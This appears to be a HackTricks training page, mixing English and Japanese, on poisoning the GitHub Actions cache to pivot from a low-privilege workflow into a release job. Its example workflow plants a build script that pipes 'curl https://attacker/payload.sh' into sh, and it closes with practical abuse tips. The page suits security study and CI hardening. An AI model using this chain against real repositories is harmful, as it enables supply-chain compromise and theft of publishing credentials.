# GH Actions - Cache Poisoning

{{#include ../../../banners/hacktricks-training.md}}

## 概要

The GitHub Actions cache is global to a repository. Any workflow that knows a cache `key` (or `restore-keys`) can populate that entry, even if the job only has `permissions: contents: read`. GitHub does not segregate caches by workflow, event type, or trust level, so an attacker who compromises a low-privilege job can poison a cache that a privileged release job will later restore. This is how the Ultralytics compromise pivoted from a `pull_request_target` workflow into the PyPI publishing pipeline.

## 攻撃プリミティブ

- `actions/cache` exposes both restore and save operations (`actions/cache@v4`, `actions/cache/save@v4`, `actions/cache/restore@v4`). The save call is allowed for any job except truly untrusted `pull_request` workflows triggered from forks.
- Cache entries are identified solely by the `key`. Broad `restore-keys` make it easy to inject payloads because the attacker only needs to collide with a prefix.
- The cached filesystem is restored verbatim. If the cache contains scripts or binaries that are executed later, the attacker controls that execution path.

## 例: エクスプロイトチェーン

_Author workflow (`pull_request_target`) poisoned the cache:_
```yaml
steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
```
_権限のあるワークフローが復元され、汚染されたキャッシュを実行した：_
```yaml
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz
```
The second job now runs attacker-controlled code while holding release credentials (PyPI tokens, PATs, cloud deploy keys, etc.).

## 実践的な悪用のヒント

- キャッシュを保存する `pull_request_target`、`issue_comment`、またはボットコマンドでトリガーされるワークフローを狙ってください。GitHub は、ランナーがリポジトリに対して読み取り専用アクセスしか持っていない場合でも、リポジトリ全体の鍵を上書きさせてしまいます。
- 信頼境界を越えて再利用される決定論的なキャッシュキー（例：`pip-${{ hashFiles('poetry.lock') }}`）や緩い `restore-keys` を探し、特権のあるワークフローが実行される前に悪意のある tarball を保存します。
- ログの `Cache saved` エントリを監視するか、自分で cache-save ステップを追加して、次のリリースジョブがペイロードを復元し、トロイ化されたスクリプトやバイナリを実行するようにします。

## References

- [A Survey of 2024–2025 Open-Source Supply-Chain Compromises and Their Root Causes](https://words.filippo.io/compromise-survey/)

{{#include ../../../banners/hacktricks-training.md}}
